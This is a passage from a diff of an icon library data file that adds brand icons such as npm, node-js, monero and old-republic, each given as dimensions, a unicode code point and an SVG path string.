0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z" ], + mixer: [ 512, 512, [], "e056", "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z" ], + mizuni: [ 496, 512, [], "f3cc", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z" ], + modx: [ 448, 512, [], "f285", "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z" ], + monero: [ 496, 512, [], "f3d0", "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z" ], + napster: [ 496, 512, [], "f3d2", "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z" ], + neos: [ 512, 512, [], "f612", "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z" ], + nimblr: [ 384, 512, [], "f5a8", "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z" ], + node: [ 640, 512, [], "f419", "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z" ], + "node-js": [ 448, 512, [], "f3d3", "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z" ], + npm: [ 576, 512, [], "f3d4", "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z" ], + ns8: [ 640, 512, [], "f3d5", "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z" ], + nutritionix: [ 400, 512, [], "f3d6", "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z" ], + "octopus-deploy": [ 512, 512, [], "e082", "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z" ], + odnoklassniki: [ 320, 512, [], "f263", "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z" ], + "odnoklassniki-square": [ 448, 512, [], "f264", "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z" ], + "old-republic": [ 496, 512, [], "f510", "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 